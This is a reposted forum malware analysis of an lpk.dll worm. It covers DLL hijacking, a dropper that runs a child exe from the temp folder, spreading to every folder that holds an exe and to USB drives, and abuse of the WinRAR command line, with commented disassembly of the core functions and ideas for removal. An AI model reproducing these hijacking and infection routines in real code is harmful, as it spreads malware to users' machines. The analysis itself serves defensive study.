吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 21129|回复: 29
收起左侧

[转载] 【lpk.dll病毒/木马】分析报告

  [复制链接]
吴程奕 发表于 2018-2-26 16:45
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
【lpk.dll病毒/木马】分析报告

一、名词解释
母体:指病毒主文件 (lpk.dll.v随包带)
子体:指由母体从资源中释放出来的exe文件.

二、概述
作者: MiTang
时间: 2012-2-25
样本来源:自己机器上已中标,就地取材.
当母体名称为lpk.dll时.利用与系统lpk.dll同名,造成含有edit控件的程序导入该库时被劫持.当程序需要系统                lpk.dll支持时,母体起到了一个中转作用.这些函数并没有挂钩.主要动作有如下2点:

母体在入口点 通过一个有名称 的互斥对像, 仅一次 释放子体并启动它.

2.母体入口点,最后做的工作: 获取系统lpk.dll如下函数填充到自己导出的同名函数中:
LpkTabbedTextOut
LpkDllInitialize
LpkDrawTextEx
LpkEditControl                        //这步有特殊处理,是一组函数,而不是单个
LpkExtTextOut
LpkGetCharacterPlacement
LpkGetTextExtentExPoint
LpkInitialize
LpkPSMTextOut
LpkUseGDIWidthCache
ftsWordBreak

当母体文件名为其它名称,被程序加载时, 也做上面的第1,2步动作.还加了一步下面这步操作.
1.母体在入口点 启动一个工作主线程工作行为,
   动作1. 扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑
          磁盘启动一个感染线程去感染磁盘.
   条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.

2感染线程行为: 枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称        冲突,造成无法打包.唉.

整个程序下来,逻辑感觉好乱.
注:随包 idb文件是IDA6.1版本的;




三、清理方式
1、对母体提取特征码
2、枚举系统所有目录,符合特征码即删除即可.
3、注入所有进程,枚举所有模块,符合特征关闭进程,再删除.
当然在清理时,母体还在接着感染,所以要先对源头进行控制,在这里一种思路:
因为母体是利用CopyFileW 将自身复制到目标文件夹中,可以先hook所有进程这个函数,对其传入的源文件作特征        检查.符合则拒绝.否则放行. 也可以由此得到作案进程信息强制关闭即可.











































分析正文

这里只列出几个核心函数分析,详情在随包idb中
入口点:
; BOOL __stdcall DLLEntry (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    public dllpoint
dllpoint proc near

hLibModule= dword ptr  4
fdwReason= dword ptr  8
lpReserved= dword ptr  0Ch
arg_100020A8= dword ptr  100020ACh

    cmp     [esp+fdwReason], DLL_PROCESS_ATTACH
    push    esi
    jnz     short ELSE_IF

IF_DLL_PROCESS_ATTACH_:                 ; DLL_PROCESS_ATTACH 第一次加载dll时
    mov     esi, [esp+4+hLibModule]
    push    260                         ; nSize
    push    offset gszCurrentLpkPathName ; lpFilename
    push    esi                         ; hModule
    mov     ghModule, esi
    call    ds:GetModuleFileNameW       ; 获取当前母体目录完整路径,保存在全局变量中,于后面感染别的目录,作为源
    push    esi                         ; hLibModule
    call    ds:DisableThreadLibraryCalls                 ; The Disable DLL_THREAD_ATTACH  DLL_THREAD_DETACH notifications
    call    MyGetMutexNameTo_gszMutexName
    cmp     eax, TRUE
    jnz     short ISLPKDLL            
    call    IsMainModule_hrl_tmp                ;主模块是否是子体
    test    eax, eax
    jnz     short SKIP_HRL_TMP          ; 跳过子体

NOT_HRL_TMP:                         ; 主模块不是子体.
    call    MyCreateMutex
    test    eax, eax                    ; FALSE 表示第一次创建互体成功,TURE表示创建失败或互体已存在
    jnz     short SKIP_HRL_TMP
    call    ReleaseAndCreateProcess     ; 释放子体 exe并启动它,成功TURE,失败FALSE

SKIP_HRL_TMP:                           ; ...
    call    Is_CurrentModule_lpk_dll
    cmp     eax, TRUE                   ; 如果当前模块是lpk.dll则返回FALSE,否则返回TURE,母体可能被改名
    jnz     short                                                          ; 加载系统lpk.dll并获取所有导出函数地址

CurrentModuleIsNot_lpk_dll:                        ; lpName 母体文件名不为:lpk.dll 时
    push    NULL
    push    FALSE                       ; bInitialState
    push    eax                         ; bManualReset
    push    NULL                        ; lpEventAttributes
    call    ds:CreateEventW             ; 创建自动管理,初始无信号事件,作退出通知用
    mov     ghDllDetachEvent, eax
    test    eax, eax
    jz      short ISLPKDLL              ; 加载系统lpk.dll并获取所有导出函数地址
    call    Start_MainThreadProc        ; 创建主工线程并运行成功,则ghThread存放的是新线程的句柄,否则为NULL

ISLPKDLL:                               ;  lpName 母体文件名为:lpk.dll 时
    call    LoadSysLpkAndGetExportFunAddr ; 加载系统lpk.dll并获取所有导出函数地址
    jmp     short IF_END_
; ---------------------------------------------------------------------------

ELSE_IF:                                ; ...
    cmp     [esp+4+fdwReason], DLL_PROCESS_DETACH
    jnz     short ELSE

DLL_PROCESS_DETACH_:
    mov     eax, ghDllDetachEvent
    test    eax, eax
    jz      short ghEvenetIsNULL        ; 系统lpk.dll 有加载就释放掉
    push    eax                         ; hEvent
    call    ds:SetEvent                 ; 置ghEvent信号状态
    push    INFINITE                    ; dwMilliseconds
    push    ghMainThread                ; hHandle
    call    ds:WaitForSingleObject      ; 等ghMainThread线程退出,有信号就退出
    push    ghMainThread                ; hObject
    mov     esi, ds:CloseHandle         ; 开始释放资源
    call    esi ; CloseHandle
    push    ghDllDetachEvent            ; hObject
    call    esi ; CloseHandle

ghEvenetIsNULL:                         ; ...
    call    FreeSysLpkdll               ; 系统lpk.dll 有加载就释放掉

ELSE:                                   ; ...
    xor     eax, eax
    inc     eax

IF_END_:                                ; ...
    pop     esi
    retn    0Ch
dllpoint endp









功能: 释放子体并启动子体进程
; BOOL __cdecl ReleaseAndCreateProcess()
ReleaseAndCreateProcess proc near       ; ...

PathName= word ptr -26Ch
StartupInfo= _STARTUPINFOW ptr -64h
ProcessInformation= _PROCESS_INFORMATION ptr -20h
NumberOfBytesWritten= dword ptr -10h
lpBuffer= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
bSuccess= dword ptr -4

    push    ebp
    mov     ebp, esp
    sub     esp, 620
    push    esi
    push    edi
    push    RT_RCDATA                  ; lpType
    push    102                         ; lpName
    push    ghModule                    ; hModule
    xor     esi, esi
    mov     [ebp+bSuccess], esi
    call    ds:FindResourceW            ; 子体放在母体资源中
    mov     edi, eax
    cmp     edi, esi
    jz      EXIT_FAIL
    push    edi                         ; hResInfo
    push    ghModule                    ; hModule
    call    ds:SizeofResource
    push    edi                         ; hResInfo
    push    ghModule                    ; hModule
    mov     [ebp+nNumberOfBytesToWrite], eax
    call    ds:LoadResource
    cmp     eax, esi
    jz      EXIT_FAIL
    cmp     [ebp+nNumberOfBytesToWrite], esi
    jz      EXIT_FAIL
    push    eax                         ; hResData
    call    ds:LockResource
    mov     [ebp+lpBuffer], eax         ; lpBuffer--> 子体exe数据
    cmp     eax, esi
    jz      EXIT_FAIL
    push    ebx
    lea     eax, [ebp+PathName]
    push    eax                         ; lpBuffer
    push    260                         ; nBufferLength
    call    ds:GetTempPathW
    lea     eax, [ebp+PathName]
    push    eax                         ; lpTempFileName
    push    esi                         ; uUnique
    push    offset PrefixString         ; "hrl"
    push    eax                         ; lpPathName
    call    ds:GetTempFileNameW         ; 指定子体 临时文件名为hrl* *号uUnique随机数字
    push    esi                         ; hTemplateFile
    push    esi                         ; dwFlagsAndAttributes
    push    2                           ; dwCreationDisposition
    push    esi                         ; lpSecurityAttributes
    xor     ebx, ebx
    inc     ebx
    push    ebx                         ; dwShareMode
    push    40000000h                   ; dwDesiredAccess
    lea     eax, [ebp+PathName]
    push    eax                         ; lpFileName
    call    ds:CreateFileW              ; 创建临时文件
    mov     edi, eax
    cmp     edi, 0FFFFFFFFh
    jz      short EXIT_FAIL1
    push    esi                         ; lpOverlapped
    lea     eax, [ebp+NumberOfBytesWritten]
    push    eax                         ; lpNumberOfBytesWritten
    push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
    mov     [ebp+NumberOfBytesWritten], esi
    push    [ebp+lpBuffer]              ; lpBuffer
    push    edi                         ; hFile
    call    ds:WriteFile                ; 将子体写到临时文件hrl*.tmp
    push    edi                         ; hObject
    mov     edi, ds:CloseHandle
    mov     [ebp+bSuccess], eax
    call    edi ; CloseHandle
    cmp     [ebp+bSuccess], ebx
    jnz     short EXIT_FAIL1
    push    44h
    lea     eax, [ebp+StartupInfo]
    push    eax
    call    ds:RtlZeroMemory
    xor     eax, eax
    mov     [ebp+StartupInfo.wShowWindow], ax
    lea     eax, [ebp+ProcessInformation]
    push    eax                         ; lpProcessInformation
    lea     eax, [ebp+StartupInfo]
    push    eax                         ; lpStartupInfo
    push    esi                         ; lpCurrentDirectory
    push    esi                         ; lpEnvironment
    push    esi                         ; dwCreationFlags
    push    esi                         ; bInheritHandles
    push    esi                         ; lpThreadAttributes
    push    esi                         ; lpProcessAttributes
    lea     eax, [ebp+PathName]
    push    eax                         ; lpCommandLine
    push    esi                         ; lpApplicationName
    mov     [ebp+StartupInfo.cb], 44h
    mov     [ebp+StartupInfo.dwFlags], ebx
    call    ds:CreateProcessW           ; 启动子体exe进程
    mov     [ebp+bSuccess], eax
    cmp     eax, ebx
    jnz     short EXIT_FAIL1
    push    [ebp+ProcessInformation.hThread] ; hObject
    call    edi ; CloseHandle
    push    [ebp+ProcessInformation.hProcess] ; hObject
    call    edi ; CloseHandle

EXIT_FAIL1:                             ; ...
    pop     ebx

EXIT_FAIL:                              ; ...
    mov     eax, [ebp+bSuccess]
    pop     edi                         ; 成功返回TURE,否则返回FALSE
    pop     esi
    leave
    retn
ReleaseAndCreateProcess endp





功能: 动作1:扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑磁盘启动一个感染线程去感染磁盘.
  条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
; DWORD __stdcall MainThreadProc(LPVOID)
MainThreadProc proc near                ; ...

nDriverCount= dword ptr -0C4h
hThreadArray= dword ptr -0C0h
lpBuff= byte ptr -60h

    sub     esp, 0C4h
    push    ebx
    push    ebp
    push    esi
    push    edi                         ; 以上保存环境
    push    60h
    lea     eax, [esp+0D8h+lpBuff]
    push    eax
    xor     edi, edi                    ; EDI = 0 存放线程ThreadProc1句柄数组下标
    call    ds:RtlZeroMemory            ; RtlZeroMemory(lpBuff,0x60)

WHILE_BEGIN:                            ; ...
    push    2
    pop     ebx                         ; ebx = 2开始,检测目标所有存储器是否可感染
    lea     ebp, [esp+0D4h+lpBuff]              ; ebp->lpBuff
    mov     [esp+0D4h+nDriverCount], 24

FOR1_BEGING:                            ; ...
    cmp     dword ptr [ebp+0], 1
    jz      short FOR1_STEP             ; 下一个磁盘标号
    push    ebx                         ; iDrive
    call    ds:DriveType                ; 读取存储器类型
    add     eax, 0FFFFFFFEh
    cmp     eax, 2                      ; 是否可感染
    ja      short FOR1_STEP             ; 不可感染则下一个磁盘
    xor     eax, eax
    push    eax                         ; lpThreadId
    push    4                           ; dwCreationFlags
    push    ebx                         ; lpParameter
    push    offset InfectThreadProc                     ; lpStartAddress 感染线程
    push    eax                         ; dwStackSize
    push    eax                         ; lpThreadAttributes
    call    ds:CreateThread                                ;针对本磁盘启动感染线程
    lea     esi, [esp+edi*4+0D4h+hThreadArray] ; 保存线程句柄到数组中
    mov     [esi], eax
    test    eax, eax
    jz      short FOR1_STEP             ; 下一个磁盘标号
    push    THREAD_PRIORITY_IDLE        ; nPriority
    push    eax                         ; hThread
    call    ds:SetThreadPriority
    cmp     eax, 1
    jnz     short FAIL
    push    dword ptr [esi]             ; hThread
    call    ds:ResumeThread
    cmp     eax, 0FFFFFFFFh
    jz      short FAIL                  ; 线程句柄数组下标++
    inc     edi
    mov     dword ptr [ebp+0], TRUE     ; 操作成功
    jmp     short FOR1_STEP             ; 下一个磁盘标号
; ---------------------------------------------------------------------------

FAIL:                                   ; ...
    push    0                           ; dwExitCode
    push    dword ptr [esi]             ; hThread
    call    ds:TerminateThread

FOR1_STEP:                              ; ...
    inc     ebx                         ; 下一个磁盘标号
    add     ebp, 4
    dec     [esp+0D4h+nDriverCount]
    jnz     short FOR1_BEGING
    xor     esi, esi
    cmp     edi, esi                    ; edi 成功启动感染线程数,如果为0再尝试一次
    jz      short WHILE_CMP
    push    esi                         ; dwMilliseconds
    push    TRUE                        ; bWaitAll
    lea     eax, [esp+0DCh+hThreadArray]
    push    eax                         ; lpHandles
    push    edi                         ; nCount
    call    ds:WaitForMultipleObjects   ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, 0)
    cmp     eax, WAIT_TIMEOUT
    jz      short WHILE_CMP             ; 所有感染线程是否执行完毕,如果是就释放所有句柄,否则不管了.
    push    60h
    lea     eax, [esp+0D8h+lpBuff]
    push    eax
    call    ds:RtlZeroMemory
    test    edi, edi
    jbe     short WHILE1_END            ; 如果感染线程大于0,并完全退出,则关闭所有线程句柄

WHILE1_BEGING:                          ; ...
    push    [esp+esi*4+0D4h+hThreadArray] ; hObject
    call    ds:CloseHandle
    inc     esi
    cmp     esi, edi
    jb      short WHILE1_BEGING

WHILE1_END:                             ; ...
    xor     edi, edi

WHILE_CMP:                              ; ...
    call    IsContinueInfection
    cmp     eax, TRUE                   ; 如果主程序运行两小时之多,就是没有dll_detach信号退出或逻辑磁盘发生变化时返回真,继教重新感染
    jz      WHILE_BEGIN
    test    edi, edi
    jz      short EXIT                  ; 最后一次感染线程数不为0
    push    INFINITE                    ; dwMilliseconds
    push    1                           ; bWaitAll
    lea     eax, [esp+0DCh+hThreadArray]
    push    eax                         ; lpHandles
    push    edi                         ; nCount
    call    ds:WaitForMultipleObjects   ;  WaitForMultipleObjects(nCount, hThreadArray, TRUE,  INFINITE)
    xor     esi, esi                    ; 等待所有感染线程退出
    test    edi, edi
    jbe     short EXIT

loc_100019CC:                           ; ...
    push    [esp+esi*4+0D4h+hThreadArray] ; hObject
    call    ds:CloseHandle
    inc     esi
    cmp     esi, edi
    jb      short loc_100019CC          ; 释放所有线程句柄

EXIT:                                   ; ...
    pop     edi
    pop     esi
    pop     ebp
    pop     ebx
    add     esp, 0C4h
    retn
MainThreadProc endp





功能:枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突
InfectThreadProc proc near              ; ...

FindFileData= _WIN32_FIND_DATAW ptr -668h
lpszDestDriverPath= word ptr -418h
lpszDestFilePathName= word ptr -210h
hFindFile= dword ptr -8
var_4= dword ptr -4
lpArg= dword ptr  8

    push    ebp
    mov     ebp, esp
    sub     esp, 1640
    push    ebx
    push    0                           ; dwMilliseconds
    push    ghDllDetachEvent            ; hHandle
    xor     ebx, ebx
    inc     ebx
    mov     [ebp+var_4], ebx
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jz      short WORK                  ; DLL_DETACH 直接退出,否则做些事情
    xor     eax, eax
    jmp     EXIT
; ---------------------------------------------------------------------------

WORK:                                   ; ...
    push    esi
    mov     esi, ds:lstrcpyW
    push    edi
    mov     edi, [ebp+lpArg]
    lea     eax, [ebp+lpszDestDriverPath]
    cmp     edi, 100h                   ; lpArg小于100h就是盘符id,大于则是文件名完整路径指针
    jnb     short ARGISFILENAMEPATH
    push    offset gszA                 ; "A:\\"
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    add     [ebp+lpszDestDriverPath], di ; 以A盘为盘符基址,加上盘符ID,得到目标盘符路径
    jmp     short loc_100016D1
; ---------------------------------------------------------------------------

ARGISFILENAMEPATH:                      ; ...
    push    edi                         ; lpString2
    push    eax                         ; lpString1
    call    esi ; lstrcpyW              ; lpszDestDriverPath = lpArg

loc_100016D1:                           ; ...
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    mov     edi, ds:PathAppendW
    push    offset gszAll               ; pMore
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; pszPath
    call    edi ; PathAppendW           ; lpszDestDriverPath 填加通配符 如: C:\*
    lea     eax, [ebp+FindFileData]
    push    eax                         ; lpFindFileData
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpFileName
    call    ds:FindFirstFileW
    mov     [ebp+hFindFile], eax        ; 返回一个搜索句柄
    cmp     eax, -1
    jnz     short FIND_SUCCESS          ; 查找失败,直退退出
    mov     eax, ebx
    jmp     EXIT1
; ---------------------------------------------------------------------------

FIND_SUCCESS:                           ; ...
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    mov     ebx, ds:lstrcmpiW           ; lpszDestDriverPath = lpszDestFilePathNam

WHILE_BEGING_FINDNEXTFILE:              ; ...
    push    offset gszPoint             ; "."
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 比较文件名是否是  .  特殊文件
    test    eax, eax
    jz      WHILE_CMP_FINDNEXTFILE
    push    offset a__                  ; ".."
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 比较文件名是否是  ..  特殊文件
    test    eax, eax
    jz      WHILE_CMP_FINDNEXTFILE
    test    byte ptr [ebp+FindFileData.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
    jz      short THISISFILE            ; 判断是否目录

DIRECTORY:                              ; dwMilliseconds
    push    20
    push    ghDllDetachEvent            ; hHandle
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jnz     short DLL_DETACH_SIGNAL     ; 接到程序关闭通知
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pMore
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; LPVOID
    call    InfectThreadProc            ; 目录递归操作
    test    eax, eax
    jnz     WHILE_CMP_FINDNEXTFILE

DLL_DETACH_SIGNAL:                      ; ...
    and     [ebp+var_4], 0

EXIT_FREE:                              ; ...
    push    [ebp+hFindFile]             ; hFindFile
    call    ds:FindClose
    mov     eax, [ebp+var_4]

EXIT1:                                  ; ...
    pop     edi
    pop     esi

EXIT:                                   ; ...
    pop     ebx
    leave
    retn    4
; ---------------------------------------------------------------------------

THISISFILE:                             ; ...
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pszPath
    call    ds:PathFindExtensionW
    mov     [ebp+lpArg], eax            ; 保存文件名的扩展名 如 .rar
    test    eax, eax
    jz      WHILE_CMP_DLLDETACH_SIGNAL
    push    offset gszExe               ; ".EXE"
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 是否是exe文件
    test    eax, eax
    jnz     short ELSE_IF

FILE_IS_EXE:                            ; 在当前exe目录,放一个lpk.dll
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    push    offset gszLpk_dll           ; "lpk.dll"
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW           ; lpszDestFilePathName = 如 c:\11\lpk.dll
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFileName
    call    ds:GetFileAttributesW
    cmp     eax, INVALID_FILE_ATTRIBUTES
    jnz     WHILE_CMP_FINDNEXTFILE      ; 已存在lpk.dll跳过
    push    1                           ; bFailIfExists
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpNewFileName
    push    offset gszCurrentLpkPathName ; lpExistingFileName
    call    ds:CopyFileW                ; 从把当lpk.dll复制到目标文件夹中,只是有可能感染目标文件夹中的exe
    push    FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ; dwFileAttributes
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFileName
    call    ds:SetFileAttributesW       ; 并把目标lpk.dll为隐藏系统等属性

ELSE_IF:                                ; ...
    push    offset gszRar               ; ".RAR"
    push    [ebp+lpArg]                 ; lpString1
    call    ebx ; lstrcmpiW
    test    eax, eax
    jz      short FILE_IS_RAR_OR_ZIP
    push    offset gszZip               ; ".ZIP"
    push    [ebp+lpArg]                 ; lpString1
    call    ebx ; lstrcmpiW
    test    eax, eax
    jnz     short WHILE_CMP_DLLDETACH_SIGNAL

FILE_IS_RAR_OR_ZIP:                     ; ...
    cmp     [ebp+FindFileData.nFileSizeHigh], 0
    jnz     short WHILE_CMP_DLLDETACH_SIGNAL
    cmp     [ebp+FindFileData.nFileSizeLow], 52428800
    jnb     short WHILE_CMP_DLLDETACH_SIGNAL ; 只要目标 .rar 或 .zip 超过413M 则跳走
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pMore
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFilePathName
    call    AddLpkDllToZipRar                                ;将母体添加到压缩包,但作者一些错误导致白忙会
    pop     ecx

WHILE_CMP_DLLDETACH_SIGNAL:             ; ...
    push    20                          ; dwMilliseconds
    push    ghDllDetachEvent            ; hHandle
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jnz     DLL_DETACH_SIGNAL

WHILE_CMP_FINDNEXTFILE:                 ; ...
    lea     eax, [ebp+FindFileData]
    push    eax                         ; lpFindFileData
    push    [ebp+hFindFile]             ; hFindFile
    call    ds:FindNextFileW
    cmp     eax, 1                      ; 比较有问题,FindNextFile成功返回是非0,不一定是1
    jz      WHILE_BEGING_FINDNEXTFILE
    jmp     EXIT_FREE
InfectThreadProc endp


功能:利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突,造成无法打包.唉.
AddLpkDllToZipRar proc near             ; ...
CommandLine= word ptr -824h
PathName= word ptr -414h
FileName= word ptr -20Ch
String2= word ptr -20Ah
var_4= dword ptr -4
lpFilePathName= dword ptr  8

    push    ebp
    mov     ebp, esp
    sub     esp, 824h
    lea     eax, [ebp+var_4]
    push    eax
    lea     eax, [ebp+FileName]
    push    eax
    push    0
    push    2
    push    0
    push    offset aWinrarShellOpe      ; "WinRAR\\shell\\open\\command"
    push    80000000h
    mov     [ebp+var_4], 208h
    call    ds:SHRegGetValueW           ; 获取winrar rar.exe 路径
    test    eax, eax
    jnz     EXIT                        ; 没有安装winrar则直接退出
    cmp     [ebp+FileName], '"'
    setnz   al
    test    eax, eax
    jnz     loc_100015FC
    lea     eax, [ebp+String2]
    push    eax                         ; lpString2
    lea     eax, [ebp+FileName]
    push    eax                         ; lpString1
    call    ds:lstrcpyW
    mov     eax, offset Srch            ; "\""

loc_10001490:                           ; ...
    push    eax                         ; lpSrch
    lea     eax, [ebp+FileName]
    push    eax                         ; lpFirst
    call    ds:StrStrIW
    test    eax, eax
    jz      EXIT
    xor     ecx, ecx
    mov     [eax], cx
    lea     eax, [ebp+FileName]
    push    eax                         ; pszPath
    call    ds:PathRemoveFileSpecW
    push    offset pMore                ; "rar.exe"
    lea     eax, [ebp+FileName]
    push    eax                         ; pszPath
    call    ds:PathAppendW
    lea     eax, [ebp+FileName]
    push    eax                         ; lpFileName
    call    ds:GetFileAttributesW
    cmp     eax, INVALID_FILE_ATTRIBUTES
    jz      EXIT
    push    esi
    push    edi
    lea     eax, [ebp+FileName]
    push    eax                         ; pszLongPath
    call    ds:PathGetShortPath         ; 得到 rar.exe 绝对路径
    lea     eax, [ebp+PathName]
    push    eax                         ; lpBuffer
    push    104h                        ; nBufferLength
    call    ds:GetTempPathW             ; 获取临时路径
    lea     eax, [ebp+PathName]
    push    eax                         ; lpTempFileName
    call    ds:GetCurrentThreadId       ; 线程id
    push    eax                         ; uUnique
    push    offset aIrar                ; "IRAR"
    lea     eax, [ebp+PathName]
    push    eax                         ; lpPathName
    call    ds:GetTempFileNameW         ; 获取临时文件夹路径
    mov     esi, ds:wsprintfW
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aCmdCSVbSLpk_dl      ; "cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk."...
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW             ; 拼接winrar 执行参数如:..
                                        ;  // cmd /c C:\PROGRA~1\WinRAR\rar.exe vb "D:\a.zip" lpk.dll|find /i "lpk.dll"
                                        ;  //完成功能:查找目标winrar  D:\a.zip 中是否存在lpk.dll
    mov     edi, 0EA60h
    lea     eax, [ebp+CommandLine]
    push    edi                         ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; 执行上面命令
    add     esp, 1Ch
    test    eax, eax
    jz      EXIT_OPERATOR_FAIL
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aSXS_exeS            ; "\"%s\" x \"%s\" *.exe \"%s\\\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    1D4C0h                      ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //拼接命令,如:
                                        ; //C:\PROGRA~1\WinRAR\rar.exe x D:\a.zip *.exe C:\Temp\IRA478.tmp\
                                        ; //完成功能: 解压源文件a.zip 所有exe  解压到C:\Temp\IRA478.tmp\
    add     esp, 1Ch
    lea     eax, [ebp+PathName]
    push    eax                         ; LPVOID
    call    InfectThreadProc            ; 解压之后,把这个目录C:\Temp\IRA478.tmp\ 传给感染线程函数再次去感染
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    push    eax
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aSAREp1SSSLpk_d      ; "\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    3A980h                      ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //C:\PROGRA~1\WinRAR\rar.exe a -r -ep1 C:\Temp\IRA478.tmp D:\a.zip C:\Temp\IRAF60.tmp\lpk.dll
                                        ; //经过多次测试,这条语句不仅winrar语法上有误(这点可能跟版本有关),还有一点要压缩的文件名,跟上面
                                        ; //的解压时文件夹名称冲突,造成系统拒绝访问
                                        ; //过不了系统检查这关,猜测作者是想,把目标的rar文件中的所有exe解压出来,附上lpk.dll再打包回去,
                                        ; //唉,太麻烦了.直接往目标压缩包中添加一个lpk.dll不就行了啊
    lea     eax, [ebp+PathName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aCmdCRdSQS           ; "cmd /c RD /s /q \"%s\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    edi                         ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //cmd /c RD /s /q "C:\Temp\IRA478.tmp"
                                        ; //完成功能:cmd 命令 删除指定目录 ,结合上面功能,这一圈下来啥也没做啊.假如他winrar语法正确,
                                        ; //再假如他没有文件名上的冲突,目标d:\a.zip也没有影响啊. 这段函数,花费了我分析整 个lpk 1/4的时间
                                        ; //结果一场空啊,函数没有做到有意义的事情.瞎忙会.
    add     esp, 34h

EXIT_OPERATOR_FAIL:                     ; ...
    pop     edi
    pop     esi

EXIT:                                   ; ...
    leave
    retn
; ---------------------------------------------------------------------------

loc_100015FC:                           ; ...
    mov     eax, offset asc_100021E8    ; " "
    jmp     loc_10001490
AddLpkDllToZipRar endp



LoadSysLpkAndGetExportFunAddr proc near ; ... 加载系统lpk.dll并获取系统lpk导出函数地址
LibFileName= word ptr -208h

    push    ebp
    mov     ebp, esp
    sub     esp, 208h
    push    104h                        ; uSize
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpBuffer
    call    ds:GetSystemDirectoryW
    push    offset String2              ; "\\lpk"
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpString1
    call    ds:lstrcatW
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpLibFileName
    call    ds:LoadLibraryW
    mov     ghSyslpk, eax
    test    eax, eax
    jz      short FAIL
